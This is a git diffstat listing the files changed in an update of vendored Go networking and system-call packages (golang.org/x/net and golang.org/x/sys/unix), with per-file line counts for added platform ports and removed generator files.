.../net/internal/socket/zsys_freebsd_arm64.go | 25 +-
.../x/net/internal/socket/zsys_linux_386.go | 23 +-
.../x/net/internal/socket/zsys_linux_amd64.go | 23 +-
.../x/net/internal/socket/zsys_linux_arm.go | 20 -
.../x/net/internal/socket/zsys_linux_arm64.go | 20 -
.../net/internal/socket/zsys_linux_loong64.go | 40 +
.../x/net/internal/socket/zsys_linux_mips.go | 20 -
.../net/internal/socket/zsys_linux_mips64.go | 20 -
.../internal/socket/zsys_linux_mips64le.go | 20 -
.../net/internal/socket/zsys_linux_mipsle.go | 20 -
.../x/net/internal/socket/zsys_linux_ppc.go | 35 +
.../x/net/internal/socket/zsys_linux_ppc64.go | 20 -
.../net/internal/socket/zsys_linux_ppc64le.go | 20 -
.../net/internal/socket/zsys_linux_riscv64.go | 21 +-
.../x/net/internal/socket/zsys_linux_s390x.go | 20 -
.../x/net/internal/socket/zsys_netbsd_386.go | 22 -
.../net/internal/socket/zsys_netbsd_amd64.go | 22 -
.../x/net/internal/socket/zsys_netbsd_arm.go | 22 -
.../net/internal/socket/zsys_netbsd_arm64.go | 25 +-
.../x/net/internal/socket/zsys_openbsd_386.go | 25 +-
.../net/internal/socket/zsys_openbsd_amd64.go | 25 +-
.../x/net/internal/socket/zsys_openbsd_arm.go | 25 +-
.../net/internal/socket/zsys_openbsd_arm64.go | 25 +-
.../internal/socket/zsys_openbsd_mips64.go | 30 +
.../net/internal/socket/zsys_solaris_amd64.go | 24 +-
.../x/net/internal/socket/zsys_zos_s390x.go | 28 +
vendor/golang.org/x/net/ipv4/control_bsd.go | 7 +-
.../golang.org/x/net/ipv4/control_pktinfo.go | 5 +-
vendor/golang.org/x/net/ipv4/control_stub.go | 3 +-
vendor/golang.org/x/net/ipv4/control_unix.go | 5 +-
vendor/golang.org/x/net/ipv4/control_zos.go | 88 +
vendor/golang.org/x/net/ipv4/defs_aix.go | 39 -
vendor/golang.org/x/net/ipv4/defs_darwin.go | 77 -
.../golang.org/x/net/ipv4/defs_dragonfly.go | 38 -
vendor/golang.org/x/net/ipv4/defs_freebsd.go | 75 -
vendor/golang.org/x/net/ipv4/defs_linux.go | 113 -
vendor/golang.org/x/net/ipv4/defs_netbsd.go | 37 -
vendor/golang.org/x/net/ipv4/defs_openbsd.go | 37 -
vendor/golang.org/x/net/ipv4/defs_solaris.go | 84 -
vendor/golang.org/x/net/ipv4/doc.go | 12 +-
vendor/golang.org/x/net/ipv4/gen.go | 199 -
vendor/golang.org/x/net/ipv4/header.go | 4 +-
vendor/golang.org/x/net/ipv4/icmp_stub.go | 1 +
vendor/golang.org/x/net/ipv4/payload_cmsg.go | 3 +-
.../golang.org/x/net/ipv4/payload_nocmsg.go | 3 +-
vendor/golang.org/x/net/ipv4/sockopt_posix.go | 3 +-
vendor/golang.org/x/net/ipv4/sockopt_stub.go | 3 +-
vendor/golang.org/x/net/ipv4/sys_aix.go | 34 +-
vendor/golang.org/x/net/ipv4/sys_asmreq.go | 1 +
.../golang.org/x/net/ipv4/sys_asmreq_stub.go | 1 +
vendor/golang.org/x/net/ipv4/sys_asmreqn.go | 9 +-
.../golang.org/x/net/ipv4/sys_asmreqn_stub.go | 1 +
vendor/golang.org/x/net/ipv4/sys_bpf.go | 1 +
vendor/golang.org/x/net/ipv4/sys_bpf_stub.go | 1 +
vendor/golang.org/x/net/ipv4/sys_bsd.go | 33 +-
vendor/golang.org/x/net/ipv4/sys_darwin.go | 46 +-
vendor/golang.org/x/net/ipv4/sys_dragonfly.go | 32 +-
vendor/golang.org/x/net/ipv4/sys_freebsd.go | 42 +-
vendor/golang.org/x/net/ipv4/sys_linux.go | 35 +-
vendor/golang.org/x/net/ipv4/sys_solaris.go | 36 +-
vendor/golang.org/x/net/ipv4/sys_ssmreq.go | 1 +
.../golang.org/x/net/ipv4/sys_ssmreq_stub.go | 1 +
vendor/golang.org/x/net/ipv4/sys_stub.go | 3 +-
vendor/golang.org/x/net/ipv4/sys_windows.go | 43 +-
vendor/golang.org/x/net/ipv4/sys_zos.go | 57 +
.../golang.org/x/net/ipv4/zsys_aix_ppc64.go | 18 +-
vendor/golang.org/x/net/ipv4/zsys_darwin.go | 40 -
.../golang.org/x/net/ipv4/zsys_dragonfly.go | 18 -
.../golang.org/x/net/ipv4/zsys_freebsd_386.go | 41 -
.../x/net/ipv4/zsys_freebsd_amd64.go | 41 -
.../golang.org/x/net/ipv4/zsys_freebsd_arm.go | 41 -
.../x/net/ipv4/zsys_freebsd_arm64.go | 41 -
.../golang.org/x/net/ipv4/zsys_linux_386.go | 58 -
.../golang.org/x/net/ipv4/zsys_linux_amd64.go | 58 -
.../golang.org/x/net/ipv4/zsys_linux_arm.go | 58 -
.../golang.org/x/net/ipv4/zsys_linux_arm64.go | 58 -
.../x/net/ipv4/zsys_linux_loong64.go | 77 +
.../golang.org/x/net/ipv4/zsys_linux_mips.go | 58 -
.../x/net/ipv4/zsys_linux_mips64.go | 58 -
.../x/net/ipv4/zsys_linux_mips64le.go | 58 -
.../x/net/ipv4/zsys_linux_mipsle.go | 58 -
.../golang.org/x/net/ipv4/zsys_linux_ppc.go | 58 -
.../golang.org/x/net/ipv4/zsys_linux_ppc64.go | 58 -
.../x/net/ipv4/zsys_linux_ppc64le.go | 58 -
.../x/net/ipv4/zsys_linux_riscv64.go | 59 +-
.../golang.org/x/net/ipv4/zsys_linux_s390x.go | 58 -
vendor/golang.org/x/net/ipv4/zsys_netbsd.go | 17 -
vendor/golang.org/x/net/ipv4/zsys_openbsd.go | 17 -
vendor/golang.org/x/net/ipv4/zsys_solaris.go | 43 -
.../golang.org/x/net/ipv4/zsys_zos_s390x.go | 56 +
.../x/net/ipv6/control_rfc2292_unix.go | 9 +-
.../x/net/ipv6/control_rfc3542_unix.go | 15 +-
vendor/golang.org/x/net/ipv6/control_stub.go | 3 +-
vendor/golang.org/x/net/ipv6/control_unix.go | 3 +-
vendor/golang.org/x/net/ipv6/defs_aix.go | 82 -
vendor/golang.org/x/net/ipv6/defs_darwin.go | 112 -
.../golang.org/x/net/ipv6/defs_dragonfly.go | 82 -
vendor/golang.org/x/net/ipv6/defs_freebsd.go | 105 -
vendor/golang.org/x/net/ipv6/defs_linux.go | 138 -
vendor/golang.org/x/net/ipv6/defs_netbsd.go | 80 -
vendor/golang.org/x/net/ipv6/defs_openbsd.go | 89 -
vendor/golang.org/x/net/ipv6/defs_solaris.go | 114 -
vendor/golang.org/x/net/ipv6/doc.go | 12 +-
vendor/golang.org/x/net/ipv6/gen.go | 199 -
vendor/golang.org/x/net/ipv6/icmp_bsd.go | 1 +
vendor/golang.org/x/net/ipv6/icmp_stub.go | 3 +-
vendor/golang.org/x/net/ipv6/icmp_zos.go | 29 +
vendor/golang.org/x/net/ipv6/payload_cmsg.go | 3 +-
.../golang.org/x/net/ipv6/payload_nocmsg.go | 3 +-
vendor/golang.org/x/net/ipv6/sockopt_posix.go | 3 +-
vendor/golang.org/x/net/ipv6/sockopt_stub.go | 3 +-
vendor/golang.org/x/net/ipv6/sys_aix.go | 41 +-
vendor/golang.org/x/net/ipv6/sys_asmreq.go | 1 +
.../golang.org/x/net/ipv6/sys_asmreq_stub.go | 1 +
vendor/golang.org/x/net/ipv6/sys_bpf.go | 1 +
vendor/golang.org/x/net/ipv6/sys_bpf_stub.go | 1 +
vendor/golang.org/x/net/ipv6/sys_bsd.go | 41 +-
vendor/golang.org/x/net/ipv6/sys_darwin.go | 48 +-
vendor/golang.org/x/net/ipv6/sys_freebsd.go | 48 +-
vendor/golang.org/x/net/ipv6/sys_linux.go | 45 +-
vendor/golang.org/x/net/ipv6/sys_solaris.go | 48 +-
vendor/golang.org/x/net/ipv6/sys_ssmreq.go | 3 +-
.../golang.org/x/net/ipv6/sys_ssmreq_stub.go | 3 +-
vendor/golang.org/x/net/ipv6/sys_stub.go | 3 +-
vendor/golang.org/x/net/ipv6/sys_windows.go | 23 +-
vendor/golang.org/x/net/ipv6/sys_zos.go | 72 +
.../golang.org/x/net/ipv6/zsys_aix_ppc64.go | 36 +-
vendor/golang.org/x/net/ipv6/zsys_darwin.go | 67 -
.../golang.org/x/net/ipv6/zsys_dragonfly.go | 46 -
.../golang.org/x/net/ipv6/zsys_freebsd_386.go | 58 -
.../x/net/ipv6/zsys_freebsd_amd64.go | 58 -
.../golang.org/x/net/ipv6/zsys_freebsd_arm.go | 58 -
.../x/net/ipv6/zsys_freebsd_arm64.go | 58 -
.../golang.org/x/net/ipv6/zsys_linux_386.go | 80 -
.../golang.org/x/net/ipv6/zsys_linux_amd64.go | 80 -
.../golang.org/x/net/ipv6/zsys_linux_arm.go | 80 -
.../golang.org/x/net/ipv6/zsys_linux_arm64.go | 80 -
.../x/net/ipv6/zsys_linux_loong64.go | 77 +
.../golang.org/x/net/ipv6/zsys_linux_mips.go | 80 -
.../x/net/ipv6/zsys_linux_mips64.go | 80 -
.../x/net/ipv6/zsys_linux_mips64le.go | 80 -
.../x/net/ipv6/zsys_linux_mipsle.go | 80 -
.../golang.org/x/net/ipv6/zsys_linux_ppc.go | 80 -
.../golang.org/x/net/ipv6/zsys_linux_ppc64.go | 80 -
.../x/net/ipv6/zsys_linux_ppc64le.go | 80 -
.../x/net/ipv6/zsys_linux_riscv64.go | 81 +-
.../golang.org/x/net/ipv6/zsys_linux_s390x.go | 80 -
vendor/golang.org/x/net/ipv6/zsys_netbsd.go | 42 -
vendor/golang.org/x/net/ipv6/zsys_openbsd.go | 51 -
vendor/golang.org/x/net/ipv6/zsys_solaris.go | 68 -
.../golang.org/x/net/ipv6/zsys_zos_s390x.go | 62 +
vendor/golang.org/x/sys/AUTHORS | 3 -
vendor/golang.org/x/sys/CONTRIBUTORS | 3 -
vendor/golang.org/x/sys/execabs/execabs.go | 102 +
.../golang.org/x/sys/execabs/execabs_go118.go | 12 +
.../golang.org/x/sys/execabs/execabs_go119.go | 15 +
.../sys/internal/unsafeheader/unsafeheader.go | 30 +
vendor/golang.org/x/sys/unix/README.md | 12 +-
vendor/golang.org/x/sys/unix/aliases.go | 3 +-
vendor/golang.org/x/sys/unix/asm_aix_ppc64.s | 3 +-
.../unix/{asm_darwin_386.s => asm_bsd_386.s} | 12 +-
.../{asm_openbsd_amd64.s => asm_bsd_amd64.s} | 10 +-
.../unix/{asm_freebsd_arm.s => asm_bsd_arm.s} | 10 +-
.../{asm_netbsd_amd64.s => asm_bsd_arm64.s} | 10 +-
.../{asm_darwin_amd64.s => asm_bsd_riscv64.s} | 10 +-
vendor/golang.org/x/sys/unix/asm_darwin_arm.s | 30 -
.../golang.org/x/sys/unix/asm_darwin_arm64.s | 30 -
.../x/sys/unix/asm_dragonfly_amd64.s | 29 -
.../golang.org/x/sys/unix/asm_freebsd_386.s | 29 -
.../golang.org/x/sys/unix/asm_freebsd_amd64.s | 29 -
.../golang.org/x/sys/unix/asm_freebsd_arm64.s | 29 -
vendor/golang.org/x/sys/unix/asm_linux_386.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_amd64.s | 3 +-
vendor/golang.org/x/sys/unix/asm_linux_arm.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_arm64.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_loong64.s | 54 +
.../golang.org/x/sys/unix/asm_linux_mips64x.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_mipsx.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_ppc64x.s | 3 +-
.../golang.org/x/sys/unix/asm_linux_riscv64.s | 4 +-
.../golang.org/x/sys/unix/asm_linux_s390x.s | 5 +-
vendor/golang.org/x/sys/unix/asm_netbsd_386.s | 29 -
vendor/golang.org/x/sys/unix/asm_netbsd_arm.s | 29 -
.../golang.org/x/sys/unix/asm_netbsd_arm64.s | 29 -
.../golang.org/x/sys/unix/asm_openbsd_386.s | 29 -
.../golang.org/x/sys/unix/asm_openbsd_arm.s | 29 -
...m_openbsd_arm64.s => asm_openbsd_mips64.s} | 5 +-
.../golang.org/x/sys/unix/asm_solaris_amd64.s | 3 +-
vendor/golang.org/x/sys/unix/asm_zos_s390x.s | 426 +
vendor/golang.org/x/sys/unix/cap_freebsd.go | 1 +
vendor/golang.org/x/sys/unix/constants.go | 3 +-
vendor/golang.org/x/sys/unix/dev_aix_ppc.go | 4 +-
vendor/golang.org/x/sys/unix/dev_aix_ppc64.go | 4 +-
vendor/golang.org/x/sys/unix/dev_zos.go | 29 +
vendor/golang.org/x/sys/unix/dirent.go | 1 +
vendor/golang.org/x/sys/unix/endian_big.go | 3 +-
vendor/golang.org/x/sys/unix/endian_little.go | 3 +-
vendor/golang.org/x/sys/unix/env_unix.go | 3 +-
vendor/golang.org/x/sys/unix/epoll_zos.go | 221 +
.../x/sys/unix/errors_freebsd_386.go | 233 -
.../x/sys/unix/errors_freebsd_amd64.go | 233 -
.../x/sys/unix/errors_freebsd_arm.go | 226 -
.../x/sys/unix/errors_freebsd_arm64.go | 17 -
vendor/golang.org/x/sys/unix/fcntl.go | 1 +
vendor/golang.org/x/sys/unix/fcntl_darwin.go | 6 +
.../x/sys/unix/fcntl_linux_32bit.go | 5 +-
vendor/golang.org/x/sys/unix/fdset.go | 3 +-
vendor/golang.org/x/sys/unix/fstatfs_zos.go | 164 +
vendor/golang.org/x/sys/unix/gccgo.go | 6 +-
vendor/golang.org/x/sys/unix/gccgo_c.c | 6 +
.../x/sys/unix/gccgo_linux_amd64.go | 1 +
vendor/golang.org/x/sys/unix/ifreq_linux.go | 142 +
vendor/golang.org/x/sys/unix/ioctl.go | 10 +
vendor/golang.org/x/sys/unix/ioctl_linux.go | 219 +
vendor/golang.org/x/sys/unix/ioctl_zos.go | 74 +
vendor/golang.org/x/sys/unix/mkall.sh | 44 +-
vendor/golang.org/x/sys/unix/mkasm_darwin.go | 78 -
vendor/golang.org/x/sys/unix/mkerrors.sh | 101 +-
vendor/golang.org/x/sys/unix/mkmerge.go | 521 --
vendor/golang.org/x/sys/unix/mkpost.go | 127 -
vendor/golang.org/x/sys/unix/mksyscall.go | 402 -
.../x/sys/unix/mksyscall_aix_ppc.go | 415 -
.../x/sys/unix/mksyscall_aix_ppc64.go | 614 --
.../x/sys/unix/mksyscall_solaris.go | 341 -
.../golang.org/x/sys/unix/mksysctl_openbsd.go | 355 -
vendor/golang.org/x/sys/unix/mksysnum.go | 190 -
vendor/golang.org/x/sys/unix/pagesize_unix.go | 1 +
vendor/golang.org/x/sys/unix/ptrace_darwin.go | 12 +
vendor/golang.org/x/sys/unix/ptrace_ios.go | 12 +
vendor/golang.org/x/sys/unix/race.go | 1 +
vendor/golang.org/x/sys/unix/race0.go | 3 +-
.../x/sys/unix/readdirent_getdents.go | 1 +
.../x/sys/unix/readdirent_getdirentries.go | 1 +
.../golang.org/x/sys/unix/sockcmsg_linux.go | 49 +
vendor/golang.org/x/sys/unix/sockcmsg_unix.go | 3 +-
.../x/sys/unix/sockcmsg_unix_other.go | 13 +-
vendor/golang.org/x/sys/unix/str.go | 1 +
vendor/golang.org/x/sys/unix/syscall.go | 46 +-
vendor/golang.org/x/sys/unix/syscall_aix.go | 132 +-
.../golang.org/x/sys/unix/syscall_aix_ppc.go | 4 +-
.../x/sys/unix/syscall_aix_ppc64.go | 4 +-
vendor/golang.org/x/sys/unix/syscall_bsd.go | 146 +-
.../x/sys/unix/syscall_darwin.1_12.go | 5 +-
.../x/sys/unix/syscall_darwin.1_13.go | 27 +-
.../golang.org/x/sys/unix/syscall_darwin.go | 321 +-
.../x/sys/unix/syscall_darwin_386.1_11.go | 9 -
.../x/sys/unix/syscall_darwin_386.go | 68 -
.../x/sys/unix/syscall_darwin_amd64.1_11.go | 9 -
.../x/sys/unix/syscall_darwin_amd64.go | 23 +-
.../x/sys/unix/syscall_darwin_arm.go | 68 -
.../x/sys/unix/syscall_darwin_arm64.1_11.go | 11 -
.../x/sys/unix/syscall_darwin_arm64.go | 25 +-
.../x/sys/unix/syscall_darwin_libSystem.go | 10 +-
.../x/sys/unix/syscall_dragonfly.go | 59 +-
.../x/sys/unix/syscall_dragonfly_amd64.go | 1 +
.../golang.org/x/sys/unix/syscall_freebsd.go | 378 +-
.../x/sys/unix/syscall_freebsd_386.go | 5 +-
.../x/sys/unix/syscall_freebsd_amd64.go | 5 +-
.../x/sys/unix/syscall_freebsd_arm.go | 3 +-
.../x/sys/unix/syscall_freebsd_arm64.go | 3 +-
.../x/sys/unix/syscall_freebsd_riscv64.go | 63 +
.../golang.org/x/sys/unix/syscall_illumos.go | 146 +-
vendor/golang.org/x/sys/unix/syscall_linux.go | 704 +-
.../x/sys/unix/syscall_linux_386.go | 62 +-
.../x/sys/unix/syscall_linux_alarm.go | 14 +
.../x/sys/unix/syscall_linux_amd64.go | 55 +-
.../x/sys/unix/syscall_linux_amd64_gc.go | 4 +-
.../x/sys/unix/syscall_linux_arm.go | 61 +-
.../x/sys/unix/syscall_linux_arm64.go | 68 +-
.../golang.org/x/sys/unix/syscall_linux_gc.go | 3 +-
.../x/sys/unix/syscall_linux_gc_386.go | 3 +-
.../x/sys/unix/syscall_linux_gc_arm.go | 14 +
.../x/sys/unix/syscall_linux_gccgo_386.go | 1 +
.../x/sys/unix/syscall_linux_gccgo_arm.go | 1 +
.../x/sys/unix/syscall_linux_loong64.go | 226 +
.../x/sys/unix/syscall_linux_mips64x.go | 45 +-
.../x/sys/unix/syscall_linux_mipsx.go | 49 +-
.../x/sys/unix/syscall_linux_ppc.go | 236 +
.../x/sys/unix/syscall_linux_ppc64x.go | 44 +-
.../x/sys/unix/syscall_linux_riscv64.go | 58 +-
.../x/sys/unix/syscall_linux_s390x.go | 56 +-
.../x/sys/unix/syscall_linux_sparc64.go | 43 +-
.../golang.org/x/sys/unix/syscall_netbsd.go | 49 +-
.../x/sys/unix/syscall_netbsd_386.go | 1 +
.../x/sys/unix/syscall_netbsd_amd64.go | 1 +
.../x/sys/unix/syscall_netbsd_arm.go | 1 +
.../x/sys/unix/syscall_netbsd_arm64.go | 1 +
.../golang.org/x/sys/unix/syscall_openbsd.go | 40 +-
.../x/sys/unix/syscall_openbsd_386.go | 1 +
.../x/sys/unix/syscall_openbsd_amd64.go | 1 +
.../x/sys/unix/syscall_openbsd_arm.go | 1 +
.../x/sys/unix/syscall_openbsd_arm64.go | 1 +
.../x/sys/unix/syscall_openbsd_mips64.go | 39 +
.../golang.org/x/sys/unix/syscall_solaris.go | 409 +-
.../x/sys/unix/syscall_solaris_amd64.go | 1 +
vendor/golang.org/x/sys/unix/syscall_unix.go | 143 +-
.../golang.org/x/sys/unix/syscall_unix_gc.go | 5 +-
.../x/sys/unix/syscall_unix_gc_ppc64x.go | 3 +-
.../x/sys/unix/syscall_zos_s390x.go | 1823 ++++
vendor/golang.org/x/sys/unix/sysvshm_linux.go | 21 +
vendor/golang.org/x/sys/unix/sysvshm_unix.go | 61 +
.../x/sys/unix/sysvshm_unix_other.go | 14 +
vendor/golang.org/x/sys/unix/timestruct.go | 29 +-
vendor/golang.org/x/sys/unix/types_aix.go | 237 -
vendor/golang.org/x/sys/unix/types_darwin.go | 283 -
.../golang.org/x/sys/unix/types_dragonfly.go | 269 -
vendor/golang.org/x/sys/unix/types_freebsd.go | 406 -
vendor/golang.org/x/sys/unix/types_netbsd.go | 300 -
vendor/golang.org/x/sys/unix/types_openbsd.go | 283 -
vendor/golang.org/x/sys/unix/types_solaris.go | 269 -
vendor/golang.org/x/sys/unix/xattr_bsd.go | 1 +
.../golang.org/x/sys/unix/zerrors_aix_ppc.go | 1 +
.../x/sys/unix/zerrors_aix_ppc64.go | 1 +
.../x/sys/unix/zerrors_darwin_amd64.go | 3046 +++----
.../x/sys/unix/zerrors_darwin_arm.go | 1784 ----
.../x/sys/unix/zerrors_darwin_arm64.go | 3046 +++----
.../x/sys/unix/zerrors_dragonfly_amd64.go | 139 +-
.../x/sys/unix/zerrors_freebsd_386.go | 125 +-
.../x/sys/unix/zerrors_freebsd_amd64.go | 123 +-
.../x/sys/unix/zerrors_freebsd_arm.go | 245 +-
.../x/sys/unix/zerrors_freebsd_arm64.go | 116 +-
.../x/sys/unix/zerrors_freebsd_riscv64.go | 2148 +++++
vendor/golang.org/x/sys/unix/zerrors_linux.go | 1151 ++-
.../x/sys/unix/zerrors_linux_386.go | 46 +
.../x/sys/unix/zerrors_linux_amd64.go | 46 +
.../x/sys/unix/zerrors_linux_arm.go | 46 +
.../x/sys/unix/zerrors_linux_arm64.go | 51 +
.../x/sys/unix/zerrors_linux_loong64.go | 818 ++
.../x/sys/unix/zerrors_linux_mips.go | 46 +
.../x/sys/unix/zerrors_linux_mips64.go | 46 +
.../x/sys/unix/zerrors_linux_mips64le.go | 46 +
.../x/sys/unix/zerrors_linux_mipsle.go | 46 +
.../x/sys/unix/zerrors_linux_ppc.go | 887 ++
.../x/sys/unix/zerrors_linux_ppc64.go | 46 +
.../x/sys/unix/zerrors_linux_ppc64le.go | 46 +
.../x/sys/unix/zerrors_linux_riscv64.go | 46 +
.../x/sys/unix/zerrors_linux_s390x.go | 48 +
.../x/sys/unix/zerrors_linux_sparc64.go | 46 +
.../x/sys/unix/zerrors_netbsd_386.go | 7 +
.../x/sys/unix/zerrors_netbsd_amd64.go | 7 +
.../x/sys/unix/zerrors_netbsd_arm.go | 7 +
.../x/sys/unix/zerrors_netbsd_arm64.go | 7 +
.../x/sys/unix/zerrors_openbsd_386.go | 11 +
.../x/sys/unix/zerrors_openbsd_amd64.go | 8 +
.../x/sys/unix/zerrors_openbsd_arm.go | 11 +
.../x/sys/unix/zerrors_openbsd_arm64.go | 8 +
...arwin_386.go => zerrors_openbsd_mips64.go} | 1663 ++--
.../x/sys/unix/zerrors_solaris_amd64.go | 26 +-
.../x/sys/unix/zerrors_zos_s390x.go | 860 ++
.../x/sys/unix/zptrace_armnn_linux.go | 1 +
.../x/sys/unix/zptrace_mipsnn_linux.go | 1 +
.../x/sys/unix/zptrace_mipsnnle_linux.go | 1 +
.../x/sys/unix/zptrace_x86_linux.go | 1 +
.../golang.org/x/sys/unix/zsyscall_aix_ppc.go | 27 +-
.../x/sys/unix/zsyscall_aix_ppc64.go | 25 +-
.../x/sys/unix/zsyscall_aix_ppc64_gc.go | 24 +-
.../x/sys/unix/zsyscall_aix_ppc64_gccgo.go | 22 +-
.../x/sys/unix/zsyscall_darwin_386.1_11.go | 1811 ----
.../x/sys/unix/zsyscall_darwin_386.1_13.go | 41 -
.../x/sys/unix/zsyscall_darwin_386.1_13.s | 12 -
.../x/sys/unix/zsyscall_darwin_386.go | 2499 ------
.../x/sys/unix/zsyscall_darwin_386.s | 284 -
.../x/sys/unix/zsyscall_darwin_amd64.1_13.go | 11 +-
.../x/sys/unix/zsyscall_darwin_amd64.1_13.s | 19 +-
.../x/sys/unix/zsyscall_darwin_amd64.go | 948 +-
.../x/sys/unix/zsyscall_darwin_amd64.s | 891 +-
.../x/sys/unix/zsyscall_darwin_arm.1_11.go | 1784 ----
.../x/sys/unix/zsyscall_darwin_arm.1_13.go | 41 -
.../x/sys/unix/zsyscall_darwin_arm.1_13.s | 12 -
.../x/sys/unix/zsyscall_darwin_arm.go | 2484 ------
.../x/sys/unix/zsyscall_darwin_arm.s | 282 -
.../x/sys/unix/zsyscall_darwin_arm64.1_13.go | 11 +-
.../x/sys/unix/zsyscall_darwin_arm64.1_13.s | 19 +-
.../x/sys/unix/zsyscall_darwin_arm64.go | 933 +-
.../x/sys/unix/zsyscall_darwin_arm64.s | 889 +-
.../x/sys/unix/zsyscall_dragonfly_amd64.go | 45 +-
.../x/sys/unix/zsyscall_freebsd_386.go | 146 +-
.../x/sys/unix/zsyscall_freebsd_amd64.go | 144 +-
.../x/sys/unix/zsyscall_freebsd_arm.go | 178 +-
.../x/sys/unix/zsyscall_freebsd_arm64.go | 144 +-
...64.1_11.go => zsyscall_freebsd_riscv64.go} | 558 +-
.../x/sys/unix/zsyscall_illumos_amd64.go | 43 +-
.../golang.org/x/sys/unix/zsyscall_linux.go | 336 +-
.../x/sys/unix/zsyscall_linux_386.go | 55 +-
.../x/sys/unix/zsyscall_linux_amd64.go | 89 +-
.../x/sys/unix/zsyscall_linux_arm.go | 69 +-
.../x/sys/unix/zsyscall_linux_arm64.go | 31 +-
.../x/sys/unix/zsyscall_linux_loong64.go | 527 ++
.../x/sys/unix/zsyscall_linux_mips.go | 68 +-
.../x/sys/unix/zsyscall_linux_mips64.go | 45 +-
.../x/sys/unix/zsyscall_linux_mips64le.go | 48 +-
.../x/sys/unix/zsyscall_linux_mipsle.go | 68 +-
.../x/sys/unix/zsyscall_linux_ppc.go | 709 ++
.../x/sys/unix/zsyscall_linux_ppc64.go | 82 +-
.../x/sys/unix/zsyscall_linux_ppc64le.go | 82 +-
.../x/sys/unix/zsyscall_linux_riscv64.go | 27 +-
.../x/sys/unix/zsyscall_linux_s390x.go | 59 +-
.../x/sys/unix/zsyscall_linux_sparc64.go | 55 +-
.../x/sys/unix/zsyscall_netbsd_386.go | 11 +-
.../x/sys/unix/zsyscall_netbsd_amd64.go | 11 +-
.../x/sys/unix/zsyscall_netbsd_arm.go | 11 +-
.../x/sys/unix/zsyscall_netbsd_arm64.go | 11 +-
.../x/sys/unix/zsyscall_openbsd_386.go | 5 +-
.../x/sys/unix/zsyscall_openbsd_amd64.go | 5 +-
.../x/sys/unix/zsyscall_openbsd_arm.go | 5 +-
.../x/sys/unix/zsyscall_openbsd_arm64.go | 5 +-
...m64.1_11.go => zsyscall_openbsd_mips64.go} | 519 +-
.../x/sys/unix/zsyscall_solaris_amd64.go | 135 +-
.../x/sys/unix/zsyscall_zos_s390x.go | 1255 +++
.../x/sys/unix/zsysctl_openbsd_386.go | 4 +-
.../x/sys/unix/zsysctl_openbsd_amd64.go | 2 +
.../x/sys/unix/zsysctl_openbsd_arm.go | 2 +
.../x/sys/unix/zsysctl_openbsd_arm64.go | 1 +
.../x/sys/unix/zsysctl_openbsd_mips64.go | 280 +
.../x/sys/unix/zsysnum_darwin_386.go | 436 -
.../x/sys/unix/zsysnum_darwin_amd64.go | 2 +
.../x/sys/unix/zsysnum_darwin_arm.go | 436 -
.../x/sys/unix/zsysnum_darwin_arm64.go | 2 +
.../x/sys/unix/zsysnum_dragonfly_amd64.go | 256 +-
.../x/sys/unix/zsysnum_freebsd_386.go | 108 +-
.../x/sys/unix/zsysnum_freebsd_amd64.go | 108 +-
.../x/sys/unix/zsysnum_freebsd_arm.go | 108 +-
.../x/sys/unix/zsysnum_freebsd_arm64.go | 108 +-
.../x/sys/unix/zsysnum_freebsd_riscv64.go | 394 +
.../x/sys/unix/zsysnum_linux_386.go | 16 +
.../x/sys/unix/zsysnum_linux_amd64.go | 710 +-
.../x/sys/unix/zsysnum_linux_arm.go | 16 +
.../x/sys/unix/zsysnum_linux_arm64.go | 600 +-
.../x/sys/unix/zsysnum_linux_loong64.go | 311 +
.../x/sys/unix/zsysnum_linux_mips.go | 15 +
.../x/sys/unix/zsysnum_linux_mips64.go | 695 +-
.../x/sys/unix/zsysnum_linux_mips64le.go | 695 +-
.../x/sys/unix/zsysnum_linux_mipsle.go | 15 +
.../x/sys/unix/zsysnum_linux_ppc.go | 441 +
.../x/sys/unix/zsysnum_linux_ppc64.go | 793 +-
.../x/sys/unix/zsysnum_linux_ppc64le.go | 793 +-
.../x/sys/unix/zsysnum_linux_riscv64.go | 598 +-
.../x/sys/unix/zsysnum_linux_s390x.go | 723 +-
.../x/sys/unix/zsysnum_linux_sparc64.go | 751 +-
.../x/sys/unix/zsysnum_netbsd_386.go | 1 +
.../x/sys/unix/zsysnum_netbsd_amd64.go | 1 +
.../x/sys/unix/zsysnum_netbsd_arm.go | 1 +
.../x/sys/unix/zsysnum_netbsd_arm64.go | 1 +
.../x/sys/unix/zsysnum_openbsd_386.go | 1 +
.../x/sys/unix/zsysnum_openbsd_amd64.go | 1 +
.../x/sys/unix/zsysnum_openbsd_arm.go | 1 +
.../x/sys/unix/zsysnum_openbsd_arm64.go | 1 +
.../x/sys/unix/zsysnum_openbsd_mips64.go | 221 +
.../x/sys/unix/zsysnum_zos_s390x.go | 2670 ++++++
.../golang.org/x/sys/unix/ztypes_aix_ppc.go | 2 +
.../golang.org/x/sys/unix/ztypes_aix_ppc64.go | 2 +
.../x/sys/unix/ztypes_darwin_386.go | 499 --
.../x/sys/unix/ztypes_darwin_amd64.go | 346 +-
.../x/sys/unix/ztypes_darwin_arm.go | 500 --
.../x/sys/unix/ztypes_darwin_arm64.go | 346 +-
.../x/sys/unix/ztypes_dragonfly_amd64.go | 51 +-
.../x/sys/unix/ztypes_freebsd_386.go | 115 +-
.../x/sys/unix/ztypes_freebsd_amd64.go | 112 +-
.../x/sys/unix/ztypes_freebsd_arm.go | 167 +-
.../x/sys/unix/ztypes_freebsd_arm64.go | 110 +-
.../x/sys/unix/ztypes_freebsd_riscv64.go | 626 ++
.../x/sys/unix/ztypes_illumos_amd64.go | 42 +
vendor/golang.org/x/sys/unix/ztypes_linux.go | 4454 ++++++++--
.../golang.org/x/sys/unix/ztypes_linux_386.go | 98 +-
.../x/sys/unix/ztypes_linux_amd64.go | 98 +-
.../golang.org/x/sys/unix/ztypes_linux_arm.go | 101 +-
.../x/sys/unix/ztypes_linux_arm64.go | 98 +-
.../x/sys/unix/ztypes_linux_loong64.go | 685 ++
.../x/sys/unix/ztypes_linux_mips.go | 100 +-
.../x/sys/unix/ztypes_linux_mips64.go | 98 +-
.../x/sys/unix/ztypes_linux_mips64le.go | 98 +-
.../x/sys/unix/ztypes_linux_mipsle.go | 100 +-
.../golang.org/x/sys/unix/ztypes_linux_ppc.go | 698 ++
.../x/sys/unix/ztypes_linux_ppc64.go | 97 +-
.../x/sys/unix/ztypes_linux_ppc64le.go | 97 +-
